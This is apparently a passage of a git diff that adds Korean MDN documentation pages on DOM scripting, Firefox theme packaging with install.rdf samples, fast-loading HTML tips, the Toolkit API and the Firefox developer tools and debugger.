alert()은 여러분이 pass한 매개변수(문자열)을 팝업하는 DOM 메소드입니다. DOM level 0이나 DOM0으로 부르는 것의 일부임을 유의하세요. DOM0은 일부 브라우저에서 지원되는 인터페이스 집합이지만 DOM 명세의 일부는 아닙니다.
+
+ +
+
"Href of this a element is : " +
+
문자열 리터럴(literal)과 문자열 연결 연산자. JavaScript.
+
+ +
+
anchorTags{{ mediawiki.external('i') }}.href
+
"href"는 DOM1 HTML 명세에 정의된 HTMLAnchorElement 인터페이스의 프로퍼티입니다. 있다면, 프로퍼티는 anchor 요소의 href 속성값을 반환합니다.
+ 우리는 또한 배열의 i 번째 항목(item)에 접근하기 위해 JavaScript에서 쓰는 구문과 같은 anchorTags{{ mediawiki.external('i') }}를 씁니다. NodeList의 항목에 접근하기 위해 언어 중립성을 띄는 "DOM 방식"은 NodeList 인터페이스에 정의된 item() 메소드(anchorTags.item(1).href)를 씁니다. 하지만 JavaScript 구현 대부분은 더 간단한 배열 방식 구문을 쓰도록 하고 그게 사람들 대부분이 실제로 쓰는 방식입니다.
+
+ +
+
+ "\n");
+
추가 문자열 연결. 문자열의 끝에 carriage return을 삽입합니다.
+
+ +
+
}
+
"for" 루프의 끝.
+
+ +
+

원본 문서 정보

+ + +
+ +

{{ languages( { "en": "en/The_DOM_and_JavaScript", "fr": "fr/Le_DOM_et_JavaScript" } ) }}

diff --git a/files/ko/theme_packaging/index.html b/files/ko/theme_packaging/index.html new file mode 100644 index 0000000000..0ff635c4aa --- /dev/null +++ b/files/ko/theme_packaging/index.html @@ -0,0 +1,98 @@ +--- +title: Theme Packaging +slug: Theme_Packaging +tags: + - Add-ons + - Themes + - Toolkit API +--- +

이 문서는 파이어폭스나 썬더버드에서 테마를 포장하는 방법에 대해서 기술하고 있습니다.

+

준비사항

+

파이어폭스나 썬더버드의 테마를 만들 때에는 Cascading Stylesheets(CSS) 에 대한 지식이 필수적이며, XBL에 대한 지식도 필요할 수 있습니다. 또한, 그래픽 디자인 및 미적 감각(...은 아닐지도)도 필요합니다. 하지만, 이 문서에서는 파이어폭스의 테마 창에서 보여질 수 있도록 테마를 포장하는 방법에 대해서만 기술할 것입니다.

+

테마 파일의 구조

+

파이어폭스/썬더버드의 테마는 다음과 같은 구조의 JAR 파일로 포장됩니다.

+
theme.jar:
+  install.rdf
+  contents.rdf
+  preview.png
+  icon.png
+  browser/files
+  global/files
+  mozapps/files
+  communicator/files
+  ...
+
+ +

install.rdf

+

install.rdf manifest 는 다음과 같이 만들 수 있습니다:

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+    <em:type>4</em:type>more properties
+  </Description>
+</RDF>
+
+

install.rdf 에 본적으로 들어가야 하는 속성들

+

install.rdf 파일에는 다음과 같은 속성들이 들어가야 합니다. 상세한 정보는 install.rdf Reference 에서 얻을 수 있습니다.

+ +

install.rdf 에 선택적으로 들어갈 수 있는 속성들

+ +

만약 여러분의 테마가 http://addons.mozilla.org 웹사이트에 게시된다면 updateURL 속성은 포함시키면 안 됩니다.

+

샘플 install.rdf 파일

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+    <em:id>{18b64b56-d42f-428d-a88c-baa413bc413f}</em:id>
+    <em:version>1.0</em:version>
+    <em:type>4</em:type>
+
+    <!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. -->
+    <em:targetApplication>
+      <Description>
+        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+        <em:minVersion>0.8</em:minVersion>
+        <em:maxVersion>0.9</em:maxVersion>
+      </Description>
+    </em:targetApplication>
+
+    <!-- Front End MetaData -->
+    <em:name>New Theme 1</em:name>
+    <em:description>A test theme for Firefox</em:description>
+    <em:creator>Ben Goodger</em:creator>
+    <em:contributor>John Doe</em:contributor>
+    <em:homepageURL>http://www.bengoodger.com/</em:homepageURL>
+
+    <!-- Front End Integration Hooks (used by Theme Manager)-->
+    <em:internalName>newtheme1</em:internalName>
+  </Description>
+</RDF>
+
+

아래의 것은 통상적인 타겟 어플리케이션의 GUID 입니다. 여러분은 이 GUID 를 여러분의 targetApplication 속성에 정의할 수 있습니다:

+
Firefox      {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+Thunderbird  {3550f703-e582-4d05-9a08-453d09bdfdc6}
+Sunbird      {718e30fb-e89b-41dd-9da7-e25a45638b28}
+
diff --git a/files/ko/tips_for_authoring_fast-loading_html_pages/index.html b/files/ko/tips_for_authoring_fast-loading_html_pages/index.html new file mode 100644 index 0000000000..09ac7171e0 --- /dev/null +++ b/files/ko/tips_for_authoring_fast-loading_html_pages/index.html @@ -0,0 +1,132 @@ +--- +title: Tips for Authoring Fast-loading HTML Pages +slug: Tips_for_Authoring_Fast-loading_HTML_Pages +tags: + - HTML +translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages +--- +

Summary: Learn common-sense tips for producing HTML pages which load quickly and provide visitor satisfaction. 여기에 나온 팁들은 상식과 실험에 바탕을 두고 있습니다. 만약 당신이 페이지 불러오기 성능을 향상시킬 수 있는 팁을 알고 있다면 이 글의 토론 페이지에 조언해 주시기 바랍니다.

+

최적화된 웹 페이지는 사이트 방문자들에게 즉각적인 응답을 해줄 뿐만 아니라, 웹 서버의 부담을 덜어주고 인터넷 연결의 부하를 줄여줍니다. 이것은 커다란 사이트나 뉴스 속보와 같은 특별한 상황에서 트래픽이 급격히 증가하는 사이트에 있어서 아주 중요합니다.

+

페이지 불러오기 성능을 최적화하는 것이 저대역폭 방문자를 위한 컨텐츠에만 해당하는 것은 아닙니다. 이것은 고대역폭 컨텐츠에도 똑같이 중요하며 고속 인터넷 사용자들에게도 상당한 성능 향상을 기대할 수 있습니다.

+

Tips

+

페이지 무게를 줄여라

+

페이지 무게는 지금까지 페이지 불러오기 성능의 가장 중요한 요소이다.

+

불필요한 공백, 주석을 없애고 인라인 스크립트와 CSS를 외부파일로 옮기면 페이지 구조의 변화를 최소화하면서 다운로드 성능을 향상시킬 수 있다

+

HTML Tidy등의 도구를 사용, 바른 HTML 소스로부터 첫 공백과 여분의 빈라인을 자동으로 줄일 수 있다. 다른 도구는 재형식화하거나 긴 식별자를 짧은 버전으로 줄여 JavaScript를 압축할 수 있다.

+

파일 수를 최소화하라

+

웹 페이지에서 참조하는 파일의 수를 줄이면 페이지를 다운로드하는데 필요한 HTTP 접속 횟수가 감소합니다.

+

브라우저의 캐시 설정에 따라서, 브라우저는 각각의 CSS와 JavaScript, 그림 파일에 대해서 마지막으로 다운로드한 이후로 해당 파일이 변경되었는지 확인하기 위해 If-Modified-Since 요청을 웹 서버로 보내게 됩니다.

+

웹 페이지에서 참조하는 파일의 수를 줄이면, 이러한 요청을 보내고 그에 해당하는 응답이 도착하는데 필요한 시간을 줄일 수 있습니다.

+

브라우저는 페이지를 표시하기 전에 각각의 CSS와 JavaScript 파일의 변경시간을 반드시 확인해야 합니다. 따라서 웹 페이지에서 참조하는 파일들에 대한 마지막 변경시간을 확인하는데 너무 많은 시간을 소비하면 웹 페이지의 초기 표시 시간이 오래 걸릴 수 있습니다.

+

도메인 검색을 줄이라

+

각각의 도메인은 DNS 검색에 시간을 소비하기 때문에, CSS와 JavaScript 및 이미지를 참조하는데 사용되는 도메인 수를 줄이면 페이지를 불러오는 시간이 단축됩니다.

+

이것이 항상 실현가능한 것이 아닐지라도, 가능한한 최소한의 도메인을 사용하도록 주의해야 합니다.

+

재사용되는 내용을 캐시하라

+

캐시가능한 내용이 적절한 만료시간으로 캐시되었는지 확인해야 합니다.

+

특히 Last-Modified 헤더에 신경써야 합니다. 이것은 페이지의 효율적인 캐싱을 가능케 합니다. 이것에 의해 브라우저가 읽어들이고자 하는 파일이 마지막으로 변경된 시간에 대한 정보가 전달됩니다. 정적인 페이지(예를 들면, <tt>.html</tt>, <tt>.css</tt>)는 대부분의 웹 서버가 파일 시스템에 저장된 마지막 변경시간을 토대로 자동적으로 Last-Modified 헤더를 추가합니다. 동적인 페이지(예를 들면, <tt>.php</tt>, <tt>.aspx</tt>)는 물론 불가능합니다.

+

그러므로, 특히 동적으로 생성되는 페이지들에 대한 이 부분의 연구가 중요합니다. 이것은 조금 복잡하지만, 정상적으로 캐시 불가능한 페이지들에 대한 페이지 요청을 대폭 줄일 수 있게 합니다.

+

추가 정보:

+
    +
  1. RSS 해커들을 위한 HTTP 조건부 GET
  2. +
  3. HTTP 304: Not Modified
  4. +
  5. On HTTP Last-Modified and ETag
  6. +
+

페이지 컴포넌트의 순서를 최적화

+

사용자가 페이지를 읽어들일 때 페이지의 내용 요소를 가장 먼저 다운로드하면 가장 빠른 응답시간을 얻을 수 있습니다.

+

페이지의 내용 요소는 페이지의 표시를 위해 필요한 모든 CSS 및 JavaScript와 함께 가장 먼저 다운로드되어야 합니다. 이러한 내용 요소들은 일반적으로 텍스트로 되어 있고 모뎀상에서 텍스트 압축효과를 얻을 수 있기에 사용자에게 가장 빠른 응답 시간을 제공합니다.

+

페이지를 모두 읽어들인 후에야 사용가능한 모든 DHTML 기능들은 초기에는 사용하지 못하게 설정되어 있어야 하며 페이지 불러오기가 끝난 후에만 사용가능해야 합니다. 이것은 페이지의 내용 요소를 먼저 읽어들인 다음에 DHTML JavaScript를 읽어들이게 하여 전체적인 페이지 불러오기 성능을 향상시킵니다.

+

inline script 수를 최소화

+

inline script는 페이지 구조를 바꿀 수 있다는 것을 파서가 가정해야 하므로 페이지 불러오기에 비용이 많이 들 수 있다. 일반적으로 inline script 사용을 줄이고 내용을 출력하기 위해 document.write()의 사용을 줄여 전체페이지의 불러오는 시간을 향상시킬 수 있다. document.write()에 기반한 오래된 방식 대신 현대의 W3C DOM방법을 사용하여 페이지 내용을 다루라.

+

최신 CSS와 올바른 markup을 사용하라

+

최신 CSS는 markup의 양을 줄여주며, 레이아웃 측면에서 그림의 사용을 줄여줍니다. 또한 다양한 방법으로 텍스트를 나타내는 그림의 사용을 줄여줍니다. 텍스트를 나타내는 그림을 사용하면 텍스트와 CSS를 사용할 때보다 부하가 큽니다.

+

올바른 markup을 사용하는 것에는 추가적인 장점이 있습니다. 브라우저가 HTML을 처리할 때 "오류 정정"을 하지 않아도 될 뿐만 아니라, 웹 페이지를 + + 전처리(pre-process) + 할 수 있는 다른 도구들을 마음대로 사용할 수 있습니다. 예를 들면, HTML Tidy는 웹 페이지상의 공백과 불필요한 종료 태그들을 삭제해 줍니다. 그러나 웹 페이지에 심각한 markup 오류가 있다면 이 도구는 사용할 수 없습니다.

+

내용을 조각내라

+

table기반의 레이아웃을 <div>를 쓰거나 table을 작은 table로 나누면 전체 페이지 내용을 내려받지 않고 표시할 수 있다.

+

아래와 같이 깊게 중첩된 table 대신

+
+
<TABLE>
+  <TABLE>
+    <TABLE>
+          ...
+    </TABLE>
+  </TABLE>
+</TABLE>
+
+

중첩되지 않은 table 또는 div를 쓰라

+
<TABLE>...</TABLE>
+<TABLE>...</TABLE>
+<TABLE>...</TABLE>
+

그림과 표의 크기를 명시하라

+

브라우저가 그림과 표의 크기를 바로 알아낼 수 있다면, 내용을 바꾸지 않고도 웹 페이지를 표시하는게 가능합니다. 이것은 페이지를 표시하는 속도를 빠르게 할 뿐만 아니라 페이지 불러오기가 끝났을 때 페이지의 배치가 바뀌는 것을 막아줍니다. 그런 이유로, 가능하면 그림의 heightwidth가 명시되어야 합니다.

+

표는 CSS 선택자:속성 조합이다.

+
+

table-layout: fixed;

+
+

그리고 COLCOLGROUP 태그를 사용하여 열(column)의 넓이를 명시해야 합니다.

+

사용자 에이전트의 요구사항을 적절하게 선택하라

+

웹 페이지의 디자인 향상을 위해서는 사용자 에이전트의 요구사항을 적절하게 선택해야 합니다. 모든 브라우저, 특히 저사양의 브라우저에서까지 웹 페이지의 내용이 픽셀 하나하나까지 완벽하게 표현되기를 원하지는 않습니까?

+

이상적으로, 기본적인 최소 요구사항은 관련된 표준을 지원하는 현대적인 브라우저를 기준으로 해야 합니다. 이것은 모든 플랫폼 상의 Netscape 7/Gecko 1.0.2+, Windows의 Internet Explorer 5.5+, Windows의 Opera 7+, Mac OS X의 Safari에 해당합니다.

+

그러나 여기에 나와있는 대부분의 팁들은 사용자 에이전트 요구사항과 관계 없이 모든 사용자 에이전트와 웹 페이지에 해당하는 일반적인 내용임을 알아두시기 바랍니다.

+

페이지 구조 예

+

· HTML

+
+
+ · HEAD
+
+
+
+
+
+ · LINK ...
+ 페이지의 표시를 위해 CSS 파일이 필요하다. 유지보수를 위해 관련되지 않은 CSS 파일을 분리하고 성능을 위해 파일 수를 최소화하라.
+
+
+
+
+
+
+
+ · SCRIPT ...
+ JavaScript 파일은 페이지를 불러들일 때 필요하지만 DHTML은 페이지 불러오기가 끝난 후에만 동작합니다.
+
+ 유지보수를 위해 관련되지 않은 JavaScript를 별도의 파일로 분리하고 성능을 위해 파일 수를 최소화하세요.
+
+
+
+
+
+ · BODY
+
+ · 페이지 내용을 가시적인 작은 덩어리(tables / divs)로 나누면 전체 페이지를 모두 다운로드 하지 않고도 내용을 표시할 수 있습니다.
+
+
+
+
+
+ · SCRIPT ...
+ DHTML을 위해 어떠한 스크립트라도 사용될 수 있습니다. 일반적으로 DHTML 스크립트는 페이지 불러오기가 완전히 끝나고 필요한 객체들이 모두 초기화된 후에만 동작합니다. 따라서 페이지 내용을 불러오기 전에 이러한 스크립트들을 먼저 읽어들일 필요가 없습니다. 오직 페이지 로딩시간을 증가시킬 뿐입니다.
+
+ 유지보수를 위해 관련되지 않은 JavaScript를 별도의 파일로 분리하고 성능을 위해 파일 수를 최소화하세요.
+
+ 만약 롤오버 효과를 위해 사용되는 그림이 있다면, 페이지 내용을 읽어들인 후에 그 그림을 미리 읽어들여야 합니다.
+
+
+
+

관련 링크

+ +
+

원문 정보

+ +
+

 

diff --git a/files/ko/toolkit_api/index.html b/files/ko/toolkit_api/index.html new file mode 100644 index 0000000000..f17e615ab8 --- /dev/null +++ b/files/ko/toolkit_api/index.html @@ -0,0 +1,33 @@ +--- +title: Toolkit API +slug: Toolkit_API +tags: + - Toolkit API +translation_of: Mozilla/Tech/Toolkit_API +--- +

모질라 툴킷Gecko의 상위부분에서 빌드된 프로그래밍 인터페이스 집합체(짧게 API)입니다. +

모질라 툴킷은 XUL 응용프로그램에서 아래 열거된 서비스를 제공합니다. +

+ +

공식 문서

+

+

+

+

+

정보 더 얻어내기

+

아래의 개발자들의 홈페이지에는 여러 예제들과 특정 주제에 관한 토론이 올려져있습니다. +

XUL; XUL Overlays; Developing Extensions; XULRunner; Developing Themes; DOM; RDF; Storage; Creating Help Documentation +

diff --git a/files/ko/tools/add-ons/dom_inspector/index.html b/files/ko/tools/add-ons/dom_inspector/index.html new file mode 100644 index 0000000000..d84e82b45e --- /dev/null +++ b/files/ko/tools/add-ons/dom_inspector/index.html @@ -0,0 +1,16 @@ +--- +title: DOM Inspector +slug: Tools/Add-ons/DOM_Inspector +tags: + - 'DOM:Tools' + - 'Extensions:Tools' + - 'Themes:Tools' + - 'Web Development:Tools' + - 'XUL:Tools' +translation_of: Tools/Add-ons/DOM_Inspector +--- +
{{ToolsSidebar}}

DOMi로도 알려진 DOM Inspector는 문서 - 보통 웹 페이지 또는 XUL windows - 의 Document Object Model을 검증, 검색, 편집하는데 사용되는 Mozilla 도구입니다.

+ +

DOMi에 대한 더 많은 정보를 위해서는 DOM Inspector page at MozillaZine를 보십시오.

+ +

{{ languages( { "en": "en/DOM_Inspector" } ) }}

diff --git a/files/ko/tools/add-ons/index.html b/files/ko/tools/add-ons/index.html new file mode 100644 index 0000000000..24ffbe79e9 --- /dev/null +++ b/files/ko/tools/add-ons/index.html @@ -0,0 +1,17 @@ +--- +title: Add-ons +slug: Tools/Add-ons +tags: + - NeedsTranslation + - TopicStub + - Web Development + - 'Web Development:Tools' +translation_of: Tools/Add-ons +--- +
{{ToolsSidebar}}

Developer tools that are not built into Firefox, but ship as separate add-ons.

+ +
+
WebSocket Monitor
+
Examine the data exchanged in a WebSocket connection.
+
 
+
diff --git a/files/ko/tools/debugger/index.html b/files/ko/tools/debugger/index.html new file mode 100644 index 0000000000..9f5cb7c25c --- /dev/null +++ b/files/ko/tools/debugger/index.html @@ -0,0 +1,85 @@ +--- +title: 디버거 +slug: Tools/Debugger +translation_of: Tools/Debugger +--- +
{{ToolsSidebar}}

자바스크립트 디버거는 당신이 자바스크립트 코드를 단계별로 통과하는 것을 가능하게 하고 코드의 버그들을 찾는 것을 돕기 위해 상태를 검사 하거나 수정할 수 있도록 해줍니다.

+ +

파이어폭스에서 코드를 디버그 하기 위해 지역적으로 혹은 원격으로 디버거를 사용할 수 있습니다. 예를 들어, 파이어폭스 OS 장치 혹은 안드로이드용 파이어폭스를 원격으로 디버깅 할 수 있습니다. 원격 디버깅 을 확인해보면 원격 타겟에 디버거를 연결하는 방법을 배울 수 있습니다.

+ +

{{EmbedYouTube("sK8KU8oiF8s")}}

+ +
+

사용자 인터페이스 투어

+ +

디버거에 대해서 알아보려면, UI 퀵 투어 를 통해 알 수 있습니다.

+ +
+

방법

+ +

디버거를 사용하여 수행 할 수있는 작업을 확인하려면 다음 사용 설명서를 참조하십시오 :

+ +

 

+ +
+ + + +
+ +

 

+ +
+

참조

+ +
+
+
+
키보드 단축키
+
 
+
+
+ +
+
+
설정
+
 
+
+
+
+ +

 

diff --git a/files/ko/tools/debugger/ui_tour/index.html b/files/ko/tools/debugger/ui_tour/index.html new file mode 100644 index 0000000000..8f6af21ba1 --- /dev/null +++ b/files/ko/tools/debugger/ui_tour/index.html @@ -0,0 +1,98 @@ +--- +title: UI Tour +slug: Tools/Debugger/UI_Tour +translation_of: Tools/Debugger/UI_Tour +--- +
{{ToolsSidebar}}
+

이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.

+ +

이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면, Debugger (before Firefox 52)를 참조하세요.

+ +

이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여  "devtools.debugger.new-debugger-frontend"환경 설정을 false로 설정하여 수행 할 수 있습니다.

+
+ +

이 문서는 JavaScript 디버거의 사용자 인터페이스의 주요 섹션을 간략히 설명합니다. UI는 세로로 세 개의 패널로 나뉩니다.

+ + + +

+ +

소스 목록 창(Source list pane)

+ +

소스 목록 창은 페이지에 로드 된 모든 JavaScript 소스 파일을 나열하고 디버깅 할 소스 파일을 선택할 수 있게 합니다. 최상위 레벨 소스는 원점별로 구성되며, 그 아래에서 소스가 제공되는 디렉토리 구조에 따라 구성됩니다.

+ +

+ +

 파일을 찾기 위해서 Ctrl + P 단축키를 사용할 수 있습니다. (맥에서는 Cmd + P).

+ +

소스 창(Source pane)

+ +

현재 로드 된 JavaScript 파일을 표시합니다.

+ +

소스 창에 초점이 맞춰지면 Ctrl + F를 사용해서 파일에서 문자열을 검색할 수 있습니다.  (맥에서는 Cmd + F ).

+ +

중단점에는 라인번호에 파란색 화살표가 있습니다. 조건부 중단점에서는 주황색 화살표가 있습니다. 중단점에서 멈추는 경우, 해당 라인은 초록색이 됩니다. 스크린샷에서 세가지 중단점을 확인할 수 있습니다 :

+ + + +

+ +

툴바(Toolbar)

+ +

툴바는 오른쪽 상단에 있습니다 :

+ +

+ +

툴바는 다음과 같이 구성되어 있습니다:

+ + + +

+ +

중단점 목록(Breakpoint list)

+ +

툴바 아래에 설정한 모든 중단점을 볼 수 있습니다. 각 중단점을 체크박스를 선택하여 활성화/비활성화를 할 수 있습니다:

+ +

+ +

 

+ +

 

+ +

호출 스택(Call stack)

+ +

디버거가 일시 중지되면 호출 스택이 표시됩니다:

+ +

호출 스택의 각 레벨에는 함수 이름과 파일 이름 및 줄 번호가 있습니다. 호출스택 목록를 클릭하면 소스 창(source pane)에서 해당 소스가 열립니다.

+ +

범위(Scopes)

+ +

오른쪽 창에 옆에 공개 화살표가있는 레이블 "범위"가 표시됩니다. 디버거가 일시 중지되면이 섹션을 확장하여 프로그램의이 시점에서 범위에있는 모든 개체를 볼 수 있습니다.:

+ +

객체는 범위별로 구성됩니다. 가장 많은 부분이 먼저 나타나고 전역 범위 (Window, 페이지 스크립트인 경우)가 마지막에 나타납니다.

diff --git "a/files/ko/tools/debugger/\353\213\250\354\266\225\355\202\244/index.html" "b/files/ko/tools/debugger/\353\213\250\354\266\225\355\202\244/index.html" new file mode 100644 index 0000000000..d213621412 --- /dev/null +++ "b/files/ko/tools/debugger/\353\213\250\354\266\225\355\202\244/index.html" @@ -0,0 +1,10 @@ +--- +title: 디버거 단축키 +slug: Tools/Debugger/단축키 +translation_of: Tools/Debugger/Keyboard_shortcuts +--- +
{{ToolsSidebar}}

{{ Page ("ko/docs/tools/Keyboard_shortcuts", "debugger") }}

+ +

공통 단축키

+ +

{{ Page ("ko/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/ko/tools/how_to/index.html b/files/ko/tools/how_to/index.html new file mode 100644 index 0000000000..40f5269f45 --- /dev/null +++ b/files/ko/tools/how_to/index.html @@ -0,0 +1,11 @@ +--- +title: How to +slug: Tools/How_to +tags: + - NeedsTranslation + - TopicStub +translation_of: Tools/Debugger/How_to +--- +
{{ToolsSidebar}}

These articles describe how to use the debugger.

+ +

{{ ListSubpages () }}

diff --git a/files/ko/tools/how_to/open_the_debugger/index.html b/files/ko/tools/how_to/open_the_debugger/index.html new file mode 100644 index 0000000000..5b27e11b7a --- /dev/null +++ b/files/ko/tools/how_to/open_the_debugger/index.html @@ -0,0 +1,24 @@ +--- +title: Open the debugger +slug: Tools/How_to/Open_the_debugger +translation_of: Tools/Debugger/How_to/Open_the_debugger +--- +
{{ToolsSidebar}}
+

이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition 에 나타나는 JavaScript Debugger 에 대해 설명합니다.

+ +

이전 버전의 Firefox 또는 FireFox Beta 또는 Release 에서는 어떠했는지 보려면 Debugger (before Firefox 52) 를 참조하세요.

+ +

이전 버전의 Debugger 로 다시 전환해야 하는 경우, about:config 에서 "devtools.debugger.new-debugger-frontend" 를 false 로 설정하면 됩니다.

+
+ +

Debugger 를 여는 방법에는 3가지가 있습니다

+ + + +

{{EmbedYouTube("yI5SlVQiZtI")}}

+ +

 

diff --git a/files/ko/tools/how_to/search/index.html b/files/ko/tools/how_to/search/index.html new file mode 100644 index 0000000000..9971abcaae --- /dev/null +++ b/files/ko/tools/how_to/search/index.html @@ -0,0 +1,24 @@ +--- +title: Search +slug: Tools/How_to/Search +translation_of: Tools/Debugger/How_to/Search +--- +
{{ToolsSidebar}}
+

이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.

+ +

이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면 Debugger (Firefox 52 이전)를 참조하십시오.

+ +

이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여 "devtools.debugger.new-debugger-frontend"환경 설정을false로 설정하여 수행 할 수 있습니다.

+
+ +

파일 찾기

+ +

특정 파일을 검색하려면, 단축키 Control + P (Mac에서는 Command + P ) 를 누르고 검색어를 입력하세요. 소스창(source pane)에는 입력하는 동안 일치하는 모든 파일 목록을 표시됩니다. 위 아래 방향키로 목록을 이동할 수 있고,  Enter(Return)키로 해당 파일을 열 수 있습니다:

+ +

{{EmbedYouTube("xXsfYx0THWg")}}

+ +

파일 내에서 찾기

+ +

소스창(source pane)에 로드된 파일의 특정 단어를 검색하려면 소스창(source pane)에 포커스가 있는 상태에서 단축키 Control + F (Mac에서는 Command + F) 를 누르고 Enter(Return) 키를 눌러서 검색합니다. 디버거는 코드내에 일치하는 검색한 단어의 수를 표시하고 각 단어를 네모칸으로 표시합니다 :

+ +

diff --git a/files/ko/tools/how_to/set_a_breakpoint/index.html b/files/ko/tools/how_to/set_a_breakpoint/index.html new file mode 100644 index 0000000000..f5d2af9e06 --- /dev/null +++ b/files/ko/tools/how_to/set_a_breakpoint/index.html @@ -0,0 +1,31 @@ +--- +title: Set a breakpoint +slug: Tools/How_to/Set_a_breakpoint +translation_of: Tools/Debugger/How_to/Set_a_breakpoint +--- +
{{ToolsSidebar}}
+

이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.

+ +

이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면 Debugger (Firefox 52 이전)를 참조하십시오.

+ +

이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여 "devtools.debugger.new-debugger-frontend"환경 설정을false로 설정하여 수행 할 수 있습니다.

+
+ +

중단점을 설정하는 방법은 다음과 같은 세가지 방법이 있습니다:

+ + + +

아래 비디오는 바로가기 메뉴(context menu)를 사용하여 중단 점을 설정합니다:

+ +

{{EmbedYouTube("P7b98lEijF0")}}

+ +

각 중단점은 디버거의 두 위치에 표시됩니다:

+ + diff --git a/files/ko/tools/index.html b/files/ko/tools/index.html new file mode 100644 index 0000000000..0b7421b03d --- /dev/null +++ b/files/ko/tools/index.html @@ -0,0 +1,217 @@ +--- +title: Firefox 개발자 도구 +slug: Tools +tags: + - 가이드 + - 개발 도구 + - 개발자 에디션 + - 개발자버전 + - 디버그 + - 웹개발 + - 웹애플리케이션 + - 웹페이지 + - 자바스크립트 + - 파이어폭스 +translation_of: Tools +--- +
{{ToolsSidebar}}
+ +
HTML과 CSS, Javascript를 데스크탑이나 모바일에서 확인하거나 편집, 디버깅 합니다.
+ +
Firefox Developer Edition 설치 하기 + +
+

Firefox Developer Edition에 새로 추가된 기능

+ +

Firefox Developer Edition은 가장 최신 버전의 Firefox 기능과 함께, 실험 중인 개발자 도구로 개발자분들에게 맞춤 제작된 Firefox 버전을 제공해드립니다. 현재 Developer Edition은 다음과 같은 기능 업데이트를 포함하고 있습니다.

+ + +
+
+ +
아이디어 공유하기 + +
+

여러분들의 생각을 알려주세요

+ +

개발자 도구에 새 기능을 제안하거나 다른 개발자가 제안한 아이디어에 투표하세요.

+
+
+ +

+ +
+
+

만들기

+ +

웹사이트나 웹 애플리케이션을 위한 저작 도구입니다.

+ +
+
스크래치 패드
+
자바스크립트를 작성하고 실행해볼 수 있는 Firefox에 내장 편집기입니다.
+
스타일 편집기
+
현재 페이지의 CSS 스타일을 보거나 편집합니다.
+
셰이더 에디터
+
WebGL이 사용하는 버텍스나 부분 셰이더를 열어보고 편집합니다.
+
웹 오디오 편집기
+
오디오 컨텍스트에 있는 오디오 노드 그래프를 검사하거나 매개변수를 수정합니다.
+
+
+ +
+

탐색 및 디버깅

+ +

웹사이트나 웹 애플리케이션을 검사하고, 탐색하거나 디버깅 합니다.

+ +
+
웹 콘솔
+
웹 페이지의 로그 메세지를 확인하거나, 자바스크립트를 사용하여 페이지와 상호 작용합니다.
+
페이지 검사기
+
페이지의 HTML과 CSS를 보거나 수정할 수 있습니다.
+
JavaScript 디버거
+
페이지의 JavaScript 실행을 멈추거나, 단계별로 검사 혹은 수정할 수 있습니다.
+
네트워크 모니터
+
페이지를 로드 할 때 어떤 네트워크 요청이 일어나는지 확인하세요.
+
저장소 검사기
+
페이지에 존재하는 쿠키, 로컬 저장소, indexedDB 및 세션 저장소를 검사합니다.
+
개발자 도구 모음
+
개발자 도구를 위한 커맨드라인 인터페이스입니다.
+
3D View
+
페이지를 3차원 시각화하여 보여줍니다.
+
점안기 | Eyedropper
+
페이지에서 색상을 선택하세요.
+
iframe 선택하기
+
컨텐츠가 어떤 iframe에서 표시될지 결정하세요.
+
+
+
+ +
+
+
+

모바일

+ +

모바일 개발을 위한 도구입니다.

+ +
+
App 매니저
+
Firefox OS용 애플리케이션을 설계하고 개발하세요.
+
웹 IDE
+
App 매니저를 Firefox 33 이후로 계속 사용할 수 있도록 한 대체품입니다.
+
Firefox OS 시뮬레이터
+
Firefox OS가 설치된 디바이스 없이도 데스크탑에서 Firefox OS용 애플리케이션을 실행하고 디버깅할 수 있습니다.
+
반응형 디자인 보기
+
브라우저 창의 크기를 변경하지 않고도 여러분의 웹사이트나 애플리케이션이 다른 크기의 스크린에서 어떻게 보이는지 확인할 수 있습니다.
+
Android용 Firefox에서 디버깅
+
Android에서 Firefox와 연결하여 디버깅 할 수 있는 개발 도구입니다.
+
Android용 Firefox에서 웹 IDE로 디버깅
+
데스크탑용 Firefox 36, Android용 Firefox 35 이상에서 더 간편하게 디버깅할 수 있습니다.
+
Valence
+
iOS의 Safari와 Android의 Chrome에 연결하여 디버깅 할 수 있는 개발 도구입니다.
+
+
+ +
+

성능

+ +

성능 문제를 진단하고, 개선합니다.

+ +
+
성능 도구 | Performance tool
+
개선된 Javascript 프로파일러와 프레임율 타임라인을 제공합니다.
+
프레임율 그래프
+
당신의 사이트의 프레임율 보기.
+
+ +
+
+
워터폴
+
어떤 브라우저가 사이트에서 무슨일을 하고 있는지 알아보기.
+
콜 트리
+
당신의 Javascript 코드가 어디에서 시간을 소비하고 있는지 알아보기.
+
Paint Flashing 도구
+
이벤트를 통해 페이지가 업데이트 된 부분을 눈에 띄게 표시해 주는 도구입니다.
+
리플로우 이벤트 로깅
+
웹 콘솔에서 페이지의 리플로우 이벤트가 발생했는지 확인할 수 있습니다.
+
네트워크 성능 | Network Performance
+
페이지가 로딩될 때 많은 시간이 소요되는 부분을 점검하세요.
